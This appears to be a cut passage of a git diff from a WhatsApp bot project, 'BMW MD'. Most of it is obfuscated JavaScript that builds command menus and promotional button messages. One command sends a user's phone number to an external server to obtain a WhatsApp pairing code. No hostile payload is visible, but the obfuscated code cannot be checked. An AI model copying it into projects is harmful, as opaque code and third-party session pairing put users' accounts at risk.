{adams}=require(__dirname+(_0x372c16(0x1f5)+_0x372c16(0x1cd))),{format}=require(__dirname+(_0x372c16(0x1f5)+_0x372c16(0x1ce)+_0x372c16(0x1fe))),os=require('os'),moment=require(_0x372c16(0x1f0)+_0x372c16(0x18e)),s=require(__dirname+_0x372c16(0x170)),more=String[_0x372c16(0x194)+'de'](0x5aa*0x7+0xdb3+-0x154b),readmore=more[_0x372c16(0x1bd)](0x1634+0x16c6+-0x1d59);adams({'nomCom':_0x372c16(0x1cc),'categorie':_0x372c16(0x1f7)},async(_0x280d21,_0x45e8ec,_0x2cf75e)=>{const _0x2d85ce=_0x372c16,_0x4b8c5d={'jrVmB':function(_0x115e0f,_0x438b63){return _0x115e0f+_0x438b63;},'IuZFi':_0x2d85ce(0x1dd),'ZQfTb':function(_0x235e69,_0x46ba3e){return _0x235e69+_0x46ba3e;},'EEMdQ':_0x2d85ce(0x180),'IaJjO':_0x2d85ce(0x181),'rfaiN':_0x2d85ce(0x17f)+_0x2d85ce(0x1dc),'FJPnW':function(_0x1a6270,_0x1e3fa4){return _0x1a6270(_0x1e3fa4);},'WMbiQ':_0x2d85ce(0x1f5)+_0x2d85ce(0x1cd),'CFktr':function(_0x3a6504,_0x251e7e){return _0x3a6504===_0x251e7e;},'oSxAM':_0x2d85ce(0x166),'UqhaO':_0x2d85ce(0x1fb),'CQWih':function(_0x101145){return _0x101145();},'mdntZ':_0x2d85ce(0x1eb),'QFlEJ':function(_0x4d3a82){return _0x4d3a82();},'zpdbN':_0x2d85ce(0x1e3),'YWARL':function(_0x2db421){return _0x2db421();},'QDUZw':_0x2d85ce(0x19d),'igwkG':function(_0xad7156,_0xdca441){return _0xad7156>=_0xdca441;},'XoIHF':function(_0x26cfdf,_0x357923){return _0x26cfdf<=_0x357923;},'jDINF':_0x2d85ce(0x172)+'ng','KkAOK':function(_0x174f77,_0x4601fc){return _0x174f77<=_0x4601fc;},'EhZZF':_0x2d85ce(0x1c4)+_0x2d85ce(0x1da),'cCXDi':function(_0x57b9a3,_0x4d3a0c){return _0x57b9a3>=_0x4d3a0c;},'yzQLL':_0x2d85ce(0x1f6)+'ng','ulLix':function(_0xf1c60a,_0xeb1319){return _0xf1c60a+_0xeb1319;},'FmFnU':function(_0x115318,_0x4f5270){return _0x115318+_0x4f5270;},'ycoFG':function(_0x2d347b,_0x413057){return _0x2d347b+_0x413057;},'TGtTl':function(_0x5d7189,_0x2d5396){return _0x5d7189+_0x2d5396;},'HqpAJ':function(_0x1f6c9a,_0x4a0a4f){return _0x1f6c9a+_0x4a0a4f;},'aRNnX':function(_0x20e935,_0x8f00b2){return _0x20e935+_0x8f00b2;},'aIGrI':function(_0x34ea1d,_0x1af168){return _0x34ea1d+_0x1af168;},'zNFPC':function(_0x4f18bc,_0x1f46cd){return _0x4f18bc+_0x1f46cd;},'CTyJh':function(_0x18b348,_0x276096){return _0x18b348+_0x276096;},'kqmaq':_0x2d85ce(0x192)+_0x2d85ce(0x205)+_0x2d85ce(0x1e0)+_0x2d85ce(0x1cf)+_0x2d85ce(0x1be),'jmfVo':_0x2d85ce(0x182)+_0x2d85ce(0x1f1),'jhcAn':_0x2d85ce(0x18f)+_0x2d85ce(0x196),'rmjtp':_0x2d85ce(0x1f8)+_0x2d85ce(0x202)+_0x2d85ce(0x16a),'mamOP':_0x2d85ce(0x207)+'*','BPJBl':_0x2d85ce(0x1e9)+_0x2d85ce(0x1b4),'nTFsy':function(_0x26dfde,_0x43dbbb){return _0x26dfde(_0x43dbbb);},'cXSVT':function(_0x501ee9,_0xf6180){return _0x501ee9-_0xf6180;},'rOqJh':function(_0x43730c,_0x59ea71){return _0x43730c(_0x59ea71);},'cNhIZ':_0x2d85ce(0x17c)+_0x2d85ce(0x1ef)+_0x2d85ce(0x1bf)+_0x2d85ce(0x1ee)+_0x2d85ce(0x198),'PKgwM':function(_0x1d4099,_0x238bfc){return _0x1d4099+_0x238bfc;},'cforU':_0x2d85ce(0x183)+_0x2d85ce(0x1cb)+_0x2d85ce(0x1c0)+_0x2d85ce(0x16d)+_0x2d85ce(0x16e)+_0x2d85ce(0x1cb)+'\x0a','aoBkJ':_0x2d85ce(0x168)+_0x2d85ce(0x1f2)+_0x2d85ce(0x163)+_0x2d85ce(0x177)+_0x2d85ce(0x200)+_0x2d85ce(0x1e6),'ZsAra':function(_0x5365f5,_0x1bf3af){return _0x5365f5+_0x1bf3af;},'WxHhm':_0x2d85ce(0x1e5)+_0x2d85ce(0x167),'FNusL':_0x2d85ce(0x16c)+_0x2d85ce(0x174)+_0x2d85ce(0x193)+_0x2d85ce(0x1ad),'Ongfv':_0x2d85ce(0x1a3)+_0x2d85ce(0x171)+_0x2d85ce(0x179)+_0x2d85ce(0x1d6)+_0x2d85ce(0x1a4)+_0x2d85ce(0x19f),'PqUJo':_0x2d85ce(0x16c)+_0x2d85ce(0x174)+_0x2d85ce(0x203)+_0x2d85ce(0x19c),'zXyoo':_0x2d85ce(0x1e2),'yfHvg':_0x2d85ce(0x18b)+'G','mRHRz':_0x2d85ce(0x188)+_0x2d85ce(0x17e)+_0x2d85ce(0x161),'yPJmS':_0x2d85ce(0x16c)+_0x2d85ce(0x174)+_0x2d85ce(0x208)+_0x2d85ce(0x178),'ZTzVh':function(_0x2b8a9e,_0x33d72a){return _0x2b8a9e+_0x33d72a;},'SyJME':_0x2d85ce(0x1ba)+_0x2d85ce(0x1b1),'rhJgu':function(_0x12bbad,_0x4061a2){return _0x12bbad(_0x4061a2);}};let {ms:_0x22faec,repondre:_0xf8a744,prefixe:_0x4fbe7b,nomAuteurMessage:_0x445453}=_0x2cf75e,{cm:_0x5cf5e1}=_0x4b8c5d[_0x2d85ce(0x165)](require,_0x4b8c5d[_0x2d85ce(0x1d0)](__dirname,_0x4b8c5d[_0x2d85ce(0x1c7)]));var _0x1d1021={},_0x1b1567=_0x4b8c5d[_0x2d85ce(0x1b7)](s[_0x2d85ce(0x173)][_0x2d85ce(0x1e8)+'e'](),_0x4b8c5d[_0x2d85ce(0x1d9)])?_0x4b8c5d[_0x2d85ce(0x1d9)]:_0x4b8c5d[_0x2d85ce(0x1bc)];_0x5cf5e1[_0x2d85ce(0x1fa)](_0x1e49c8=>{const _0x5ad9a1=_0x2d85ce,_0x4c5040=_0x1e49c8[_0x5ad9a1(0x17d)][_0x5ad9a1(0x1de)+'e']();!_0x1d1021[_0x4c5040]&&(_0x1d1021[_0x4c5040]=[]),_0x1d1021[_0x4c5040][_0x5ad9a1(0x190)](_0x1e49c8[_0x5ad9a1(0x195)]);}),moment['tz'][_0x2d85ce(0x176)](_0x4b8c5d[_0x2d85ce(0x1a2)]('',s['TZ']));const _0x26b957=_0x4b8c5d[_0x2d85ce(0x1f4)](moment)[_0x2d85ce(0x1c3)](_0x4b8c5d[_0x2d85ce(0x1ec)]),_0x503ace=_0x4b8c5d[_0x2d85ce(0x1e7)](moment)[_0x2d85ce(0x1c3)](_0x4b8c5d[_0x2d85ce(0x1ff)]),_0x51e4c8=_0x4b8c5d[_0x2d85ce(0x1c2)](moment)[_0x2d85ce(0x1a0)]();let _0x265f04=_0x4b8c5d[_0x2d85ce(0x1ea)];_0x4b8c5d[_0x2d85ce(0x164)](_0x51e4c8,0xf04*0x1+0xa77+-0x197b)&&_0x4b8c5d[_0x2d85ce(0x1f3)](_0x51e4c8,-0x25f*0xd+0x8*0x471+-0x4aa)?_0x265f04=_0x4b8c5d[_0x2d85ce(0x185)]:_0x4b8c5d[_0x2d85ce(0x164)](_0x51e4c8,0x6eb*0x5+0xc57+-0x2ee2)&&_0x4b8c5d[_0x2d85ce(0x186)](_0x51e4c8,0x8f*0x27+-0x645+-0xf74)?_0x265f04=_0x4b8c5d[_0x2d85ce(0x162)]:_0x4b8c5d[_0x2d85ce(0x1d4)](_0x51e4c8,0x2*-0xa85+-0x12f5+0x1*0x280f)&&_0x4b8c5d[_0x2d85ce(0x1f3)](_0x51e4c8,0x202d+0x17*0xf6+-0x3632)&&(_0x265f04=_0x4b8c5d[_0x2d85ce(0x1b5)]);let _0x552c3b=_0x4b8c5d[_0x2d85ce(0x1a7)](_0x4b8c5d[_0x2d85ce(0x1ca)](_0x4b8c5d[_0x2d85ce(0x1a7)](_0x4b8c5d[_0x2d85ce(0x1a9)](_0x4b8c5d[_0x2d85ce(0x1a2)](_0x4b8c5d[_0x2d85ce(0x1b6)](_0x4b8c5d[_0x2d85ce(0x1a7)](_0x4b8c5d[_0x2d85ce(0x1b9)](_0x4b8c5d[_0x2d85ce(0x1b3)](_0x4b8c5d[_0x2d85ce(0x16b)](_0x4b8c5d[_0x2d85ce(0x1c9)](_0x4b8c5d[_0x2d85ce(0x1a2)](_0x4b8c5d[_0x2d85ce(0x1c6)](_0x4b8c5d[_0x2d85ce(0x16b)](_0x4b8c5d[_0x2d85ce(0x1fd)],_0x1b1567),_0x4b8c5d[_0x2d85ce(0x197)]),_0x4fbe7b),_0x4b8c5d[_0x2d85ce(0x1e1)]),os[_0x2d85ce(0x17b)]()),_0x4b8c5d[_0x2d85ce(0x199)]),_0x503ace),_0x4b8c5d[_0x2d85ce(0x1a1)]),_0x26b957),_0x4b8c5d[_0x2d85ce(0x201)]),_0x4b8c5d[_0x2d85ce(0x1af)](format,_0x4b8c5d[_0x2d85ce(0x189)](os[_0x2d85ce(0x1c1)](),os[_0x2d85ce(0x1f9)]()))),'/'),_0x4b8c5d[_0x2d85ce(0x206)](format,os[_0x2d85ce(0x1c1)]())),_0x4b8c5d[_0x2d85ce(0x204)]),_0x1dc1d4=_0x4b8c5d[_0x2d85ce(0x17a)](readmore,_0x4b8c5d[_0x2d85ce(0x1c8)]);const _0x4db48b=Object[_0x2d85ce(0x19e)](_0x1d1021)[_0x2d85ce(0x1bb)]();_0x4db48b[_0x2d85ce(0x1d5)](_0x13e260=>{const _0x4e63d8=_0x2d85ce,_0x444d42={'GEGTn':function(_0x4c70fd,_0x1724d4){const _0x4c0177=_0x4c7c;return _0x4b8c5d[_0x4c0177(0x1d0)](_0x4c70fd,_0x1724d4);},'qpGXl':_0x4b8c5d[_0x4e63d8(0x1a8)]};_0x1dc1d4+=_0x4b8c5d[_0x4e63d8(0x1a2)](_0x4b8c5d[_0x4e63d8(0x1d0)](_0x4b8c5d[_0x4e63d8(0x184)],_0x13e260),_0x4b8c5d[_0x4e63d8(0x175)]),_0x1d1021[_0x13e260][_0x4e63d8(0x1d5)](_0x2a76c3=>{const _0x160673=_0x4e63d8;_0x1dc1d4+=_0x444d42[_0x160673(0x1d8)](_0x444d42[_0x160673(0x169)],_0x2a76c3);}),_0x1dc1d4+=_0x4b8c5d[_0x4e63d8(0x1d7)];}),_0x1dc1d4+=_0x4b8c5d[_0x2d85ce(0x19b)];try{await _0x45e8ec[_0x2d85ce(0x1ac)+'e'](_0x280d21,{'text':_0x4b8c5d[_0x2d85ce(0x1ae)](_0x552c3b,_0x1dc1d4),'contextInfo':{'mentionedJid':[_0x445453],'externalAdReply':{'body':_0x4b8c5d[_0x2d85ce(0x1e4)],'thumbnailUrl':_0x4b8c5d[_0x2d85ce(0x18c)],'sourceUrl':_0x4b8c5d[_0x2d85ce(0x1c5)],'mediaType':0x1,'rendersmallThumbnail':!![]}}}),await _0x45e8ec[_0x2d85ce(0x1ac)+'e'](_0x280d21,{'audio':{'url':_0x4b8c5d[_0x2d85ce(0x1ed)]},'mimetype':_0x4b8c5d[_0x2d85ce(0x1ab)],'ptt':![],'caption':_0x4b8c5d[_0x2d85ce(0x1d3)],'contextInfo':{'externalAdReply':{'body':_0x4b8c5d[_0x2d85ce(0x18d)],'thumbnailUrl':_0x4b8c5d[_0x2d85ce(0x1d1)],'sourceUrl':_0x4b8c5d[_0x2d85ce(0x1c5)],'rendersmallThumbnail':![]}}});}catch(_0x569d9f){console[_0x2d85ce(0x1fc)](_0x4b8c5d[_0x2d85ce(0x16f)](_0x4b8c5d[_0x2d85ce(0x1b0)],_0x569d9f)),_0x4b8c5d[_0x2d85ce(0x1d2)](_0xf8a744,_0x4b8c5d[_0x2d85ce(0x1ca)](_0x4b8c5d[_0x2d85ce(0x1b0)],_0x569d9f));}});
\ No newline at end of file
diff --git a/scs/bmwboo.js b/scs/bmwboo.js
index 8a0219b..589a6ec 100644
--- a/scs/bmwboo.js
+++ b/scs/bmwboo.js
@@ -1 +1,2 @@
function _0x2b3c(_0x16c484,_0x2d5d41){const _0x265a32=_0x265a();return _0x2b3c=function(_0x2b3cbf,_0x2c5322){_0x2b3cbf=_0x2b3cbf-0x15e;let _0x54fadc=_0x265a32[_0x2b3cbf];return _0x54fadc;},_0x2b3c(_0x16c484,_0x2d5d41);}const _0x1284c5=_0x2b3c;(function(_0x44f7b0,_0x5c218e){const _0x5ac986=_0x2b3c,_0x4bf92b=_0x44f7b0();while(!![]){try{const _0x2ca696=-parseInt(_0x5ac986(0x161))/0x1*(-parseInt(_0x5ac986(0x180))/0x2)+-parseInt(_0x5ac986(0x165))/0x3*(parseInt(_0x5ac986(0x183))/0x4)+parseInt(_0x5ac986(0x189))/0x5*(parseInt(_0x5ac986(0x18a))/0x6)+-parseInt(_0x5ac986(0x17a))/0x7*(-parseInt(_0x5ac986(0x177))/0x8)+-parseInt(_0x5ac986(0x16d))/0x9+-parseInt(_0x5ac986(0x17e))/0xa*(parseInt(_0x5ac986(0x168))/0xb)+parseInt(_0x5ac986(0x16c))/0xc;if(_0x2ca696===_0x5c218e)break;else _0x4bf92b['push'](_0x4bf92b['shift']());}catch(_0x378a47){_0x4bf92b['push'](_0x4bf92b['shift']());}}}(_0x265a,0x32d21));const util=require('util'),fs=require(_0x1284c5(0x173)),{adams}=require(__dirname+_0x1284c5(0x186)),{format}=require(__dirname+'/../Ibrahim/mesfonctions'),os=require('os'),moment=require(_0x1284c5(0x160)),s=require(__dirname+_0x1284c5(0x167)),more=String[_0x1284c5(0x187)](0x200e),Taphere=more[_0x1284c5(0x16e)](0xfa1);adams({'nomCom':_0x1284c5(0x16f),'categorie':'General'},async(_0x15bd1b,_0x34ad3b,_0x225f1b)=>{const _0x589ec1=_0x1284c5;let {ms:_0x42419d,repondre:_0x4a57b6,prefixe:_0x2fc159,nomAuteurMessage:_0x19fe77,mybotpic:_0x15306d}=_0x225f1b,{cm:_0xbc2887}=require(__dirname+'/../Ibrahim//adams');var _0x4c7b14={},_0x242361=_0x589ec1(0x163);s['MODE'][_0x589ec1(0x169)]()!=_0x589ec1(0x166)&&(_0x242361=_0x589ec1(0x162));_0xbc2887[_0x589ec1(0x176)](async(_0x4bc1db,_0x410859)=>{const _0x37d376=_0x589ec1;if(!_0x4c7b14[_0x4bc1db[_0x37d376(0x171)]])_0x4c7b14[_0x4bc1db['categorie']]=[];_0x4c7b14[_0x4bc1db[_0x37d376(0x171)]]['push'](_0x4bc1db[_0x37d376(0x185)]);}),moment['tz'][_0x589ec1(0x179)](_0x589ec1(0x188));const _0x49a8d9=moment()[_0x589ec1(0x184)](_0x589ec1(0x172)),_0x48bf66=moment()['format'](_0x589ec1(0x174));let _0x5f0c7e=_0x589ec1(0x15f)+_0x19fe77+'*\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐌𝐀𝐈𝐍』\x0a┇\x20🤖\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a┇\x20💢\x20ᴛʏᴘᴇ:\x20*ᴠ6x*\x0a┇\x20🥷\x20ᴅᴇᴠ:\x20*sɪʀ\x20ɪʙʀᴀʜɪᴍ*\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐒𝐘𝐒𝐓𝐄𝐌』\x0a┇\x20📍\x20ᴠᴇʀꜱɪᴏɴ:\x20*6.0.3*\x0a┇\x20💻\x20ᴘʟᴀᴛғᴏʀᴍ:\x20*'+os[_0x589ec1(0x181)]()+'*\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐌𝐎𝐃𝐄』\x0a┇\x20⭕\x20ᴍᴏᴅᴇ:\x20*'+_0x242361+'*\x0a┇\x20💫\x20ᴘʀᴇғɪx:\x20*[\x20'+_0x2fc159+_0x589ec1(0x15e)+_0x49a8d9+_0x589ec1(0x178)+_0x48bf66+_0x589ec1(0x164),_0x54f82b=_0x589ec1(0x17f);for(const _0x10dbdd in _0x4c7b14){_0x54f82b+=_0x589ec1(0x16b)+_0x10dbdd+'*\x20*❒*';for(const _0x2bf9c1 of _0x4c7b14[_0x10dbdd]){_0x54f82b+=_0x589ec1(0x182)+_0x2bf9c1;}_0x54f82b+=_0x589ec1(0x17c);}_0x54f82b+=_0x589ec1(0x175);var _0x4c443b=_0x15306d();if(_0x4c443b['match'](/\.(mp4|gif)$/i))try{_0x34ad3b[_0x589ec1(0x16a)](_0x15bd1b,{'video':{'url':_0x4c443b},'caption':_0x5f0c7e+_0x54f82b,'footer':_0x589ec1(0x17b),'gifPlayback':!![]},{'quoted':_0x42419d});}catch(_0x5d7740){console['log'](_0x589ec1(0x17d)+_0x5d7740),_0x4a57b6(_0x589ec1(0x17d)+_0x5d7740);}else{if(_0x4c443b['match'](/\.(jpeg|png|jpg)$/i))try{_0x34ad3b[_0x589ec1(0x16a)](_0x15bd1b,{'image':{'url':_0x4c443b},'caption':_0x5f0c7e+_0x54f82b,'footer':'Je\x20suis\x20*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams'},{'quoted':_0x42419d});}catch(_0x1acf05){console[_0x589ec1(0x170)](_0x589ec1(0x17d)+_0x1acf05),_0x4a57b6(_0x589ec1(0x17d)+_0x1acf05);}else _0x4a57b6(_0x5f0c7e+_0x54f82b);}});function _0x265a(){const _0x4c9706=['categorie','HH:mm:ss','fs-extra','DD/MM/YYYY','\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20','map','2607464vqRsvC','\x0a┇\x20📅\x20ᴅᴀᴛᴇ:\x20','setDefault','7AvNzwU','*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams','\x0a*╰─═════════════❒*\x20\x0a','🥵🥵\x20Menu\x20erreur\x20','230TIkHUY','\x0a\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x20','2028xUihAV','platform','\x20\x20\x0a*╏*\x20','821336kejjBf','format','nomCom','/../Ibrahim/adams','fromCharCode','Africa/Nairobi','310SOwXSc','35304mnwZko','\x20]*\x0a┇\x20⏲️\x20ᴛɪᴍᴇ:\x20','\x0a*Hey🖐️*\x20*','moment-timezone','220yiiLSo','private','public','\x20\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a\x20\x20『𝐒𝐔𝐏𝐏𝐎𝐑𝐓』\x0a\x20\x20♾️\x20ᴡʜᴀᴛsᴀᴘᴘ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y\x0a\x20\x20♾️\x20ᴛᴇʟᴇɢʀᴀᴍ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://t.me/ibrahimtechai\x0a\x20\x20♾️\x20ʏᴏᴜᴛᴜʙᴇ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://www.youtube.com/@ibrahimaitech\x0a\x20\x20♾️\x20ɪɴsᴛᴀɢʀᴀᴍ\x20ᴘᴀɢᴇ\x0a\x20\x20https://www.instagram.com/ibrahimadamstech\x0a╰─────═━┈┈━═──━┈⊷\x0a>\x20©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x0a\x0a','6FFRSDY','yes','/../config','166507cRCrSQ','toLocaleLowerCase','sendMessage','*╭────❒*\x20*','3292464voqxzX','1990917cgHrOP','repeat','help','log'];_0x265a=function(){return _0x4c9706;};return _0x265a();}
+
diff --git a/scs/bmwbu.js b/scs/bmwbu.js
index 9fe4c90..cfacf00 100644
--- a/scs/bmwbu.js
+++ b/scs/bmwbu.js
@@ -122,6 +122,7 @@ adams({nomCom : "wall",categorie : "Logo",reaction : "👍"} , async (dest,zk,co
})
.catch(console.log)
})
+
;
adams({nomCom: "summer", categorie: "Logo", reaction: "🌞"}, async (dest, zk, commandeOptions) => {
const { arg, repondre, ms, prefixe } = commandeOptions;
diff --git a/scs/bmwbut.js b/scs/bmwbut.js
index 999e256..a95af47 100644
--- a/scs/bmwbut.js
+++ b/scs/bmwbut.js
@@ -1 +1,2 @@
function _0x234a(_0x3bb2ff,_0x3a4ce0){const _0x528b7c=_0x528b();return _0x234a=function(_0x234a91,_0x38596a){_0x234a91=_0x234a91-0x15a;let _0x5d9489=_0x528b7c[_0x234a91];return _0x5d9489;},_0x234a(_0x3bb2ff,_0x3a4ce0);}const _0x4ec482=_0x234a;function _0x528b(){const _0x53ffcc=['NativeFlowMessage','https://www.youtube.com/@ibrahimaitech','https://ibraah-adams-432q.onrender.com/code?number=','10XIZehv','245356mOPdzL','cta_url','https://github.com/devibraah/BWM-XMD','26168XKmTtg','stringify','Body','741846iTYVZW','https://bmw-md-web-by-ibrahim.vercel.app/','⭕\x20FOLLOW\x20WACHANNEL','25830MXrvEh','473298aXsMKV','ibraah1','Analyzing\x20ibraah\x20info.....','☕\x20BUY\x20ME\x20A\x20COFFEE','message','1344393nswWCB','axios','get','User','Header','ibraah','🎬\x20MOVIES','462arEgsY','*\x0a│\x20ᴅᴇᴠ:\x20*sɪʀ\x20ɪʙʀᴀʜɪᴍ*\x0a╰─────═━┈┈━═──━┈⊷','\x20*Made\x20by\x20Ibrahim\x20Adams*','Error\x20getting\x20response\x20from\x20Api.','create','💢\x20YOUTUBE','https://t.me/ibrahimtechai','Footer','30CxWEOu','InteractiveMessage','https://t.me/ibraahadams','😎\x20CONTACT\x20ME','\x0a╭─────═━┈┈━═──━┈⊷\x0a│\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a│\x20ᴠᴇʀꜱɪᴏɴ:\x20*7.1.8*\x0a│\x20ᴄʏᴘ:\x20*','../Ibrahim/traduction','https://ibrahim-adams.vercel.app','relayMessage','Error\x20getting\x20Api\x20response:','https://www.instagram.com/ibrahimadamstech','🌍\x20INSTAGRAM','📂\x20REPO','code','Message','Invalid\x20response\x20from\x20Api.','../Ibrahim/adams','length','Type\x20.ibraah\x201','50709gLQJJN','@whiskeysockets/baileys','Type\x20*.ibraah\x201*'];_0x528b=function(){return _0x53ffcc;};return _0x528b();}(function(_0x3b5468,_0x1245a4){const _0x368d34=_0x234a,_0x11dc8b=_0x3b5468();while(!![]){try{const _0x69edaa=-parseInt(_0x368d34(0x180))/0x1+parseInt(_0x368d34(0x190))/0x2+-parseInt(_0x368d34(0x18d))/0x3+-parseInt(_0x368d34(0x187))/0x4*(-parseInt(_0x368d34(0x186))/0x5)+parseInt(_0x368d34(0x15a))/0x6+-parseInt(_0x368d34(0x166))/0x7*(parseInt(_0x368d34(0x18a))/0x8)+-parseInt(_0x368d34(0x15f))/0x9*(-parseInt(_0x368d34(0x16e))/0xa);if(_0x69edaa===_0x1245a4)break;else _0x11dc8b['push'](_0x11dc8b['shift']());}catch(_0x304015){_0x11dc8b['push'](_0x11dc8b['shift']());}}}(_0x528b,0x244fa));const {adams}=require(_0x4ec482(0x17d)),traduire=require(_0x4ec482(0x173)),{default:axios}=require(_0x4ec482(0x160)),pkg=require(_0x4ec482(0x181)),{generateWAMessageFromContent,proto}=pkg;adams({'nomCom':_0x4ec482(0x164),'reaction':'😎','categorie':_0x4ec482(0x162)},async(_0x2b1f8a,_0x18719b,_0x386863)=>{const _0x391b37=_0x4ec482,{repondre:_0x27fe92,arg:_0x5b0c50,ms:_0x44fdc3}=_0x386863;try{if(!_0x5b0c50||_0x5b0c50[_0x391b37(0x17e)]===0x0)return _0x27fe92('Type\x20*.ibraah\x201*');await _0x27fe92(_0x391b37(0x15c));const _0x4c5d12=encodeURIComponent(_0x5b0c50['join']('\x20')),_0x550e56=_0x391b37(0x185)+_0x4c5d12,_0x4c5f43=await axios[_0x391b37(0x161)](_0x550e56),_0x5cce19=_0x4c5f43['data'];if(_0x5cce19&&_0x5cce19['code']){const _0x24391b=_0x5cce19[_0x391b37(0x17a)],_0x19707b=_0x391b37(0x172)+_0x24391b+_0x391b37(0x167),_0x3d18c3=[{'name':'cta_url','buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'🌍\x20BMW\x20WEB','url':_0x391b37(0x18e)})},{'name':'cta_url','buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'✅\x20SESSION','url':_0x391b37(0x174)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x179),'url':_0x391b37(0x189)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x391b37(0x15d),'url':_0x391b37(0x189)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'🌍\x20INSTAGRAM','url':_0x391b37(0x177)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x16b),'url':_0x391b37(0x184)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x165),'url':_0x391b37(0x16c)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'😎\x20CONTACT\x20ME','url':_0x391b37(0x170)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x18f),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}],_0x5d65ae=generateWAMessageFromContent(_0x2b1f8a,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x391b37(0x17b)]['InteractiveMessage'][_0x391b37(0x16a)]({'body':proto[_0x391b37(0x17b)][_0x391b37(0x16f)][_0x391b37(0x18c)][_0x391b37(0x16a)]({'text':_0x19707b}),'footer':proto['Message'][_0x391b37(0x16f)][_0x391b37(0x16d)][_0x391b37(0x16a)]({'text':_0x391b37(0x168)}),'header':proto[_0x391b37(0x17b)][_0x391b37(0x16f)][_0x391b37(0x163)][_0x391b37(0x16a)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x391b37(0x17b)][_0x391b37(0x16f)]['NativeFlowMessage'][_0x391b37(0x16a)]({'buttons':_0x3d18c3})})}}},{});await _0x18719b[_0x391b37(0x175)](_0x2b1f8a,_0x5d65ae[_0x391b37(0x15e)],{'messageId':_0x5d65ae['key']['id']});}else throw new Error(_0x391b37(0x17c));}catch(_0x4f61ec){console['error'](_0x391b37(0x176),_0x4f61ec[_0x391b37(0x15e)]),_0x27fe92(_0x391b37(0x169));}}),adams({'nomCom':_0x4ec482(0x15b),'reaction':'🚘','categorie':_0x4ec482(0x162)},async(_0x2552bb,_0x1e6649,_0x1a20fe)=>{const _0x5792e1=_0x4ec482,{repondre:_0x3c48b,arg:_0x426199,ms:_0x53da5a}=_0x1a20fe;try{if(!_0x426199||_0x426199[_0x5792e1(0x17e)]===0x0)return _0x3c48b(_0x5792e1(0x182));await _0x3c48b(_0x5792e1(0x15c));const _0x4a3b71=encodeURIComponent(_0x426199['join']('\x20')),_0x149caa=_0x5792e1(0x185)+_0x4a3b71,_0x4994bf=await axios[_0x5792e1(0x161)](_0x149caa),_0x58e8cd=_0x4994bf['data'];if(_0x58e8cd&&_0x58e8cd[_0x5792e1(0x17a)]){const _0xdc7547=_0x58e8cd[_0x5792e1(0x17a)],_0x774441=_0x5792e1(0x172)+_0xdc7547+_0x5792e1(0x167),_0x5d157c=[{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':'🌍\x20BMW\x20WEB','url':_0x5792e1(0x18e)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':'✅\x20SESSION','url':_0x5792e1(0x174)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x179),'url':_0x5792e1(0x189)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x15d),'url':_0x5792e1(0x189)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x178),'url':_0x5792e1(0x177)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x16b),'url':_0x5792e1(0x184)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x165),